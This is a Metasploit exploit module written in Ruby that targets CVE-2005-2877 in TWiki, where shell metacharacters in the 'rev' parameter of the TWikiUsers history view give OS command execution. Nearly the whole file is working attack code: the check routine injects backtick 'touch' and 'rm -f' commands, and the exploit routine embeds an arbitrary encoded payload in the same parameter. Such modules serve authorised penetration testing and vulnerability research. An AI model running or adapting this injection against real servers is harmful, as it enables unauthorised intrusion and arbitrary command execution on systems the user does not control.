##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TWiki History TWikiUsers rev Parameter Command Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the history component of TWiki.
        By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers
        script, an attacker can execute arbitrary OS commands.
      },
      'Author'         =>
        [
          'B4dP4nd4',   # original discovery
          'jduck'       # metasploit version
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-2877' ],
          [ 'OSVDB', '19403' ],
          [ 'BID', '14834' ],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
        ],
      'Privileged'     => true, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => '',
          'Space'       => 1024,
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2005-09-14',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
      ])
  end


  #
  # NOTE: This is not perfect, since it requires write access to the bin
  # directory. Unfortunately, detrmining the main directory isn't
  # trivial, or otherwise I would write there (required to be writable
  # per installation steps).
  #
  def check
    test_file = rand_text_alphanumeric(8+rand(8))
    cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=')
    test_url = normalize_uri(datastore['URI'], test_file)

    # first see if it already exists (it really shouldn't)
    res = send_request_raw({
        'uri' => test_url
      }, 25)
    if (not res) or (res.code != 404)
      vprint_warning("WARNING: The test file exists already!")
      return Exploit::CheckCode::Unknown # Need to try again
    end

    # try to create it
    vprint_status("Attempting to create #{test_url} ...")
    rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
    res = send_request_raw({
        'uri' => cmd_base + Rex::Text.uri_encode(rev)
      }, 25)
    if (not res) or (res.code != 200)
      return Exploit::CheckCode::Safe
    end

    # try to run it, 500 code == successfully made it
    res = send_request_raw({
        'uri' => test_url
      }, 25)
    if (not res) or (res.code != 500)
      return Exploit::CheckCode::Safe
    end

    # delete the tmp file
    print_status("Attempting to delete #{test_url} ...")
    rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'
    res = send_request_raw({
        'uri' => cmd_base + Rex::Text.uri_encode(rev)
      }, 25)
    if (not res) or (res.code != 200)
      vprint_warning("WARNING: unable to remove test file (#{test_file})")
    end

    return Exploit::CheckCode::Vulnerable
  end


  def exploit

    rev = rand_text_numeric(1+rand(5))
    rev << ' `' + payload.encoded + '`#'
    query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers')
    query_str << '?rev='
    query_str << Rex::Text.uri_encode(rev)

    res = send_request_cgi({
        'method'    => 'GET',
        'uri'	      => query_str,
      }, 25)

    if (res and res.code == 200)
      print_good("Successfully sent exploit request")
    else
      fail_with(Failure::Unknown, "Error sending exploit request")
    end

    handler
  end
end
